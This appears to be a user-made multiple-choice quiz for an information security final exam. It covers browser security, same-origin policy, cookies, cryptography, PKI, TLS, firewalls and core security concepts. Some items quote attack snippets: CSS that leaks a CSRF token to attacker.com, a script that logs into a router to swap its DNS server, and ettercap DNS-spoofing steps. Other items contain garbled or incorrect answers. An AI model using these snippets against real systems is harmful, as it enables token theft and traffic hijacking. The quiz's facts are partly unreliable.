Quiz
info security final
Dieses Quiz enthält Fragetypen, die sich im gewohnten Player öffnen.
Fragen in diesem Quiz (82)
1The browser is not a safe programming environment
Attackers can:- Arequest additional scripts from any server in the world
- Bmake requests of your server
- Cread any document
- Dcontrol the display and can request information from the user
- Esend information to servers anywhere in the world
- FRedirect the main page to their own server without malicious code
2HTTP protocol is stateless
uses HTTP request and response to get/send data
uses cookies
Cookies add state to it- ARichtig
- BFalsch
3MIME: Multi-Purpose Internet Mail Extension
Content-Typefield in HTTP protocols are used to specify the nature of the data in the body of a MIME*entity,- ARichtig
- BFalsch
4MIME types define
- Atext
- Bimages
- Caudio
- Dvideo
- Eapplication-specific data
- Fformet
- Gextension
5Scripts can easily modify Content-Type before it's sent by the server
Google ignores meta data for the purposes of searching
IE checks the file to determine the type- ARichtig
- BFalsch
6JPEG files are typically viewed as a benign and trusted file format
- ARichtig
- BFalsch
7Each browser window or frame:
- ALoads content
- BRenders it
- CResponds to events
- Drequests user data
8Events can be:
- AUser actions: OnClick, OnMouseover
- BRendering: OnLoad, OnBeforeUnload
- CTiming: setTimeout(), clearTimeout()
9You can use CSS property: url("http://example.com?query");
Open possibilities: from simple communication (above) to data extraction
<style>
input[name=csrf_token][value=^a] {
background-image: url(http://attacker.com/log?a);
}
</style>- ARichtig
- BFalsch
10HTML security: image tags
classic IE image crash:
<html>...
<img src="./imagecrash.jpg" width="9999999" height="9999999">
...
</html>
Can also be used to communicate with other sites
hide image
confuse browsers with false images- ARichtig
- BFalsch
11JavaScript/DOM scanning:
Request images from internal IP addresses
Example: <imgsrc="192.168.0.4:8080" />
Use timeout/onError to determine success/failure- ARichtig
- BFalsch
12Router security:
Determine router type by image(s) it serves <img src="http://192.168.0.1/" onError=do() />
Log into router
<script> ....connect to "http://admin:password@192.168.0.1" ...</script>
Replace DNS server address with address of attacker-controlled DNS server- ARichtig
- BFalsch
13Remote scripting:
Exchange data between a client-side app running in a browser and server-side app, without reloading page
done with:
Java Applet
XML-RPC
IFRAME- ARichtig
- BFalsch
14Window may contain frames from different sources
Frame: rigid division as part of frame set. (not supported in HTML5)
iFrame: floating inline frame- ARichtig
- BFalsch
15Same Origin Policy (SOP)
Consider an attack like the following:
User visits example.com and starts a session
User visits malicious.com
malicious.com creates an invisible iframe for example.com
malicious.com can access document.cookie and HTML content of example.com without the user’s permission.- ARichtig
- BFalsch
16Browser security mechanism:
Each frame of a page has an Origin = protocol://host:port
Frame can access its own origin
Frame cannot access data associated with a different origin- ARichtig
- BFalsch
17Cross-origin Network Access:
The same-origin policy controls interactions between two different origins, such as when you use XMLHttpRequest or an <img>element.- ACross-origin writes are typically allowed
- BCross-origin embedding is typically allowed
- CCross-origin reads are typically not allowed
- DCross-origin cookies are typically allowed
18Problems with Same Origin Policy:
- APoorly enforced on some browsers
- BLimitations if site hosts unrelated pages
- CCan be bypassed in Cross-Site-Scripting (XSS) attacks
- DSometimes prevents desirable cross-origin resource sharing
19Script has privileges of imported page, NOT source server
- ARichtig
- BFalsch
20Aggregators and Advertisements as simple mashups because these mashups do not involve communication between the gadgets and the integrator
- ARichtig
- BFalsch
21[blank_start]Cross-origin network requests[blank_end]
Access-Control-Allow-Origin: <list of domains>
Access-Control-Allow-Origin: *
[blank_start]Cross-origin client side communication[blank_end]
client-side messaging via navigation (older browsers)
postMessage(newer browsers)- ACross-origin network requests
- BCross-origin client side communication
- CCross-origin network side relay
22if private server does NOT set Access-Control-Allow-Origin, then SOP: Read not allowed
- ARichtig
- BFalsch
23Most browsers allow top-level frames to be navigated (URL is visible)
- ARichtig
- BFalsch
24Message Eavesdropping (Descendant Policy)
Integrator embeds a frame to a gadget and then calls .postMessage() on that frame
Attacker navigates the gadget frame to attacker.com and intercepts .postMessage()from the integrator! Defense -Frame busting- ARichtig
- BFalsch
25Browser will store:
At most 50 cookies/domain, ~ 4 KB / cookie- Aname
- Bvalue
- Cexpiry
- Dpath
- Edomain
- Fip
- Ghost
26Secure cookies
Provides confidentiality against network attacker
Browser will only send cookie back over HTTPS
can rewrite secure cookies over HTTP- ARichtig
- BFalsch
27HTTP Session is a series of HTTP transactions between a client and a server. Cookies are frequently used to identify sessions
- ARichtig
- BFalsch
28Cookie protocol issues:
What does the server know about the cookie sent to it by the browser?- ACookie: Name=Value
- Bdoes not see cookie attributes(e.g., "secure")
- Cdoes not see which domain set the cookie
29"secure" Cookies are NOT secure!
- ARichtig
- BFalsch
30Mixed Content: HTTP and HTTPS
Problem: Page loads over HTTPS, but has HTTP content
Network attacker can control page
Solution? Use better way to include the content:
<script src=//somesite.com/script.js> </script>
IE: displays mixed-content dialog to user
Firefox: red slash over lock icon (no dialog)
Safari: does not detect mixed content- ARichtig
- BFalsch
31Frame busting
Technique to prevent a site from functioning when loaded inside a frame
Web framing attacks such as click jacking use iframes to hijack a user’s web session
clickjacking attacks are still overlooked by major web sites- ARichtig
- BFalsch
32Frame Busting: Primitive Defense
<script>var preventbus t= 0
window.onbeforeunload = function() { killbust++; }
setInterval( function() {
if(killbust> 0){
killbust= 2;
window.top.location= 'http://nocontent204.com';
}
}, 1);
</script>
<iframesrc="http://www.victim.com">- ARichtig
- BFalsch
33Defense approaches to frame busting
- ADon't just rely on referrer, location & other HTTP fields
- BIf JS is disabled, don’t render the page
- CFrame bust your mobile sites!
- DX-Frame-Options HTTP header
34Message Authentication problem
Authenticator is based on- AHash functions
- BEncryption
- CMessage Authentication Code (MAC)
- DFrame busting
35MAC: A function of the message and a secret key that produces a small fixed-size value that serves as the authenticator (known also as cryptographic checksum)
MAC(K,M) is not a hash function
MAC is not a digital signature- ARichtig
- BFalsch
36A digital signature is used to authenticate both the origin and content of a message
By itself, Digital Signature does not provide confidentiality!- ARichtig
- BFalsch
37hash vs Mac vs Digital signature
- Aintegrity
- Bauthenticity
- Cnon-repudiation
- Dkeys used
38Digital certificate
Electronic document attached to a public key by a trusted third party- ARichtig
- BFalsch
39A public key certificate(PKC) is a document that
- AContains the public key of its owner
- BContains a set of attributes that identifies its owner
- CIs digitally signed by a trusted third party called a Certificate Authority (CA)
- Dhas an life span (expiry date)
- EUsed to authenticate, setup secure communications
40A public key infrastructure (PKI) is a set of hardware, software, people, policies, and procedures needed to create, manage, distribute, use, store, and revoke digital certificates
- ARichtig
- BFalsch
41which is NOT a PKI component:
- ACertificate Authority (CA)
- BRegistration Authority (RA)
- CRepository
- DCertificate Revocation Lists (CRL)
- ECertificate Policy (CP)
- FCertificate Practice Statement (CPS)
- GPublic key database (PKD)
42Certificate Authority(CA) is a widely used trust anchor
- ARichtig
- BFalsch
43Transport Layer Security(TLS) protocol
s a transport layer protocol that can be used by any TCP service
Based on Secure Sockets Layers(SSL) protocol
Deployed in nearly every Web browser- ARichtig
- BFalsch
44TLS consists of two protocols:
Handshake Protocol: Use public-key cryptography to establish a shared secret key
Record Protocol: Use the secret key established in the handshake protocol to protect communication between the client and the server- ARichtig
- BFalsch
45SSL/TLS record protocol:
Session concept:
Sessions created by handshake protocol
Connection concept:
State defined by nonces(random number), secret keys for MAC and encryption, sequence numbers- ARichtig
- BFalsch
46SSL v2 Weaknesses:
Cipher suite preferences are not authenticated
weak MAC construction
SSL v3 is dead in HTTPS!- ARichtig
- BFalsch
47DNS Poisoning is a technique that tricks a DNS server into believing that it has received authentic information when, in reality, it has not
It allows an attacker to replace IP address entries for a target site on a given DNS server with IP address of the server controls- ARichtig
- BFalsch
48DNS poisoning steps:
Step 1 − Open up the terminal and type “nano etter.dns”
Step 2 − Now insert the entries under the words “Redirect it to www.linux.org”
Step 3 − Now save this file and exit by saving the file
Step 4 − After starting ARP poisoning, click on “plugins” in the menu bar and select “dns_spoof” plugin
Step 5 − After activating the DNS_spoof, you will see in the results that facebook.com will start spoofed to Google IP whenever someone types it in his browser- ARichtig
- BFalsch
49Defenses against DNS Poisoning
- AUse a hardware-switched network for the most sensitive portions of your network
- BImplement IP DHCP Snooping on switches
- CImplement policies to prevent promiscuous mode on network adapters
- DEncrypt your sensitive traffic using an encrypting protocol such as SSH or IPsec
- EReplacing protocols such as FTP and Telnet with SSH is an effective defense against sniffing
- FVirtual Private Networks (VPNs) can provide an effective defense against sniffing
50Cryptography: the process of making and using codes to secure information. Beyond confidentiality concerns, integrity checking, sender/receiver identity authentication, digital signatures involved.
- ARichtig
- BFalsch
51Cryptanalysis: the process of obtaining the plaintext message (decrypt) from a ciphertext (encrypted) message without knowing the keys used to perform the encryption.
- ARichtig
- BFalsch
52Main Requirements of ciphers
- AConfusion – interceptor cannot predict what will happen to the ciphertext by changing one character
- BDiffusion – information from single plaintext is distributed over the entire ciphertext.
- CTransfusion interceptor cannot predict what will happen to the ciphertext by changing one character
53Which of the following are true about Brute force attacks? (3)
- AEvery key to decipher the ciphertext
- BTime needed proportional to size of key space.
- CIf 32 keys, there are 2^32 combinations
- DIf 12 keys, there are 32^2 combinations.
54With regards to hash functions which of the following is true regarding collision resistance? (5)
- AStrong: Difficult to find any M1 != M2 such that hash(M1) == hash(M2)
- BWeak: Given M1, difficult to find M2 such that hash(M1) == hash(M2)
- CStrong collision is birthday paradox: 2160/2 = 280 operations
- DStrong Collision resistance: data hash in a database
- EWeak Collision resistance: password in a database
55DES Decryption: same algorithm and key as encryption, but subkeys are applied in opposite order. 56 bit easy to hack.
2DES: Simplest form of multiple encryption 2 encryption stages and 2 keys.
3DES: 3 encryption stages and 1,2 or 3 keys. Currently not broken.- ARichtig
- BFalsch
56Three types of RSA attack:
- ABrute force
- BMathematical attack
- CTiming attack
- DTuring attack
57Assymetric vs Symmetric communication comparison (2)
- AAssymetric: Key exchange over public channel, Scalable for multi-party communication
- BSymnetric: Key exchange over public channel, Scalable for multi-party communication
- CSymmetric: Key exchange must be done over secure channel, Non-scalable for multi-party communication
- DAsymmetric: Key exchange must be done over secure channel, Non-scalable for multi-party communication
58Name 3 Access Control Types:
- AAdministrative
- BTechnical / Logical
- CPhysical
- DDetective
59Name the four fundamental functions of access control systems:
- AIdentification: I am a user of the system.
- BAuthentication: I can prove I’m a user of the system.
- CAuthorization: Here’s what I can do with the system.
- DAccountability: You can track and monitor my use of the system.
system logs and database journals, and the auditing of these records. - ETransparency: you know what I use in the system
60Bell-LaPadula confidentiality model
– State machine reference model
– Uses “no read up, no write down” principle- ARichtig
- BFalsch
61• Biba integrity model
– Designed to prevent corruption of higher integrity entities – Based on “no write up, no read down” principle- ARichtig
- BFalsch
62common ports:
20/21 - FTP
25 - SMTP
53 - DNS
80/443 - HTTP/HTTPS- ARichtig
- BFalsch
63The three common architectural implementations of firewalls are:
- Asingle bastion hosts
- Bscreened hosts
- Cscreened subnets
- Ddouble bastion hosts
64How is an application layer proxy firewall different from a packet-filtering firewall?
A packet-filtering firewall only allows “a particular packet with a particular source, destination, and port address to enter”.
An application layer firewall is sometimes called a proxy server because it “runs special software that acts as a proxy for a service request”- ARichtig
- BFalsch
65How is static filtering different from dynamic filtering of packets? Which is common in network routers?
Static filtering works with rules that are already designated or “developed and installed with the firewall” and only a person can change it- ARichtig
- BFalsch
66What is stateful inspection? How is state information maintained during a network connection or transaction?
Stateful inspection keeps track of each network connection between internal and external system using a state table.
A state table track the context and state of each packet in the conversation by recording which station sent the packet and when it was dent- ARichtig
- BFalsch
67What is the relationship between a TCP and UDP packet? Will any specific transaction usually involve both types of packets?
A TCP Packet sends information, and reports back to the sender on progress to assure that information has been sent and received.
UDP on the other hand is designed more for speed after establishing a connection and is used to strive for the fastest data retrieval rate as possible, but for this type of packet, it’s less important that it reports back.- ARichtig
- BFalsch
68Confidentiality is:
- AThe prevention of unauthorized disclosure of information
- BConfidentiality is keeping information secret or private
- CConfidentiality is important for military, business or personal reasons
- DHelps prevent unnecessary attention from potential threats
- EConfidentiality is storing sensitive data in a secure way
69Integrity is:
- AIntegrity is the unauthorized writing or modification of information
- BIntegrity means that there is an external consistency in the system
- CData integrity means that the data stored on a computer is the same as the source documents
- DIntegrity mean preventing employees from breaching security with carelessness
- ESystem integrity involves having the proper systems in place to avoid unintentional data leaks
70Availability is:
- AInformation should be accessible and useable upon appropriate demand by an authorized user
- BAvailability is the prevention of unauthorized withholding of information
- CDenial of service attacks are a common form of attack
- DInterruptions in service do not allow unauthorized users accessing data
- EAvailability is the allowing the users ease of access but the threats difficulty to access
71[blank_start]Confidentiality[blank_end]:Attacker does not learn Alice’s secrets
[blank_start]Integrity[blank_end]:Attacker does not undetectably corrupt system’s function for Alice
[blank_start]Availability[blank_end]:Attacker does not keep system from being useful to Alice- AConfidentiality
- BIntegrity
- CAvailability
72There are four major categories of threats:
- AInterception
- BInterruption
- CModification
- DFabrication
- EDenial of service
73Causes of security threats: (4)
- ATechnology weaknesses
- BConfiguration weaknesses
- CPolicy weaknesses
- DHuman error
- EBreach of employee contract
- FSystem security weakness
74Security is a Primarily a Management Issue, not a Technology Issue
- ARichtig
- BFalsch
75Top-down approach: Initiated by upper management
Issue policy, procedures, and processes
Dictate goals and expected outcomes of project
Determine accountability for each required action
(systems development life cycle)- ARichtig
- BFalsch
76How can we defend against a threat?
[blank_start]Prevent[blank_end] it: block the attack
[blank_start]Deter[blank_end] it: make the attack harder or more expensive
[blank_start]Deflect[blank_end] it: make yourself less attractive to attacker
[blank_start]Detect[blank_end] it: notice that attack is occurring (or has occurred)
[blank_start]Recover[blank_end] from it: mitigate the effects of the attack- APrevent
- BDeter
- CDeflect
- DDetect
- ERecover
77Exposure vs Vulnerability:
Exposure: condition of being exposed to danger
Vulnerability: state of being exposed to the possibility of being attacked- ARichtig
- BFalsch
78Threat vs Threat agent:
Threats: viruses, worms, malware in general are examples of threats
Threat agent: specific virus, worm or malware- ARichtig
- BFalsch
79ScareWare - Comprises several classes of ransomware or scam software with malicious payloads, usually of limited or no benefit, that are sold to consumers via certain unethical marketing practices
- ARichtig
- BFalsch
80Cracker: “cracks” or removes software protection designed to prevent unauthorized duplication
Phreaker: hacks the public telephone system to make free calls or disrupt services- ARichtig
- BFalsch
81[blank_start]Spoofing[blank_end]: A technique used to gain unauthorized access; intruder assumes a trusted IP address.
[blank_start]Pharming[blank_end]: It attacks a browser’s address bar to redirect users to an illegitimate site for the purpose of obtaining private information.
[blank_start]Man-in-the-middle[blank_end]: An attacker monitors the network packets, modifies them, and inserts them back into the network.
[blank_start]Packet sniffer[blank_end]: It monitors data traveling over network; it can be used both for legitimate management purposes and for stealing information from a network- ASpoofing
- BPharming
- CMan-in-the-middle
- DPacket sniffer
82Problem areas in software development: (5)
- ATrusting network address resolution
- BUnauthenticated key exchange
- CUse of magic URLs and hidden forms
- DUse of weak password-based systems
- EPoor usability
- FPoor use of encryption keys
Informationen
- Beschreibung
- Computer Science Quiz am info security final, erstellt von Duncan Levings am 07/12/2018.
- Autor
- Duncan Levings
- Sprache
- English
- Aufrufe
- 4
- Schlagwörter
- Bewertung
- Noch keine Bewertungen Bewerte dieses Quiz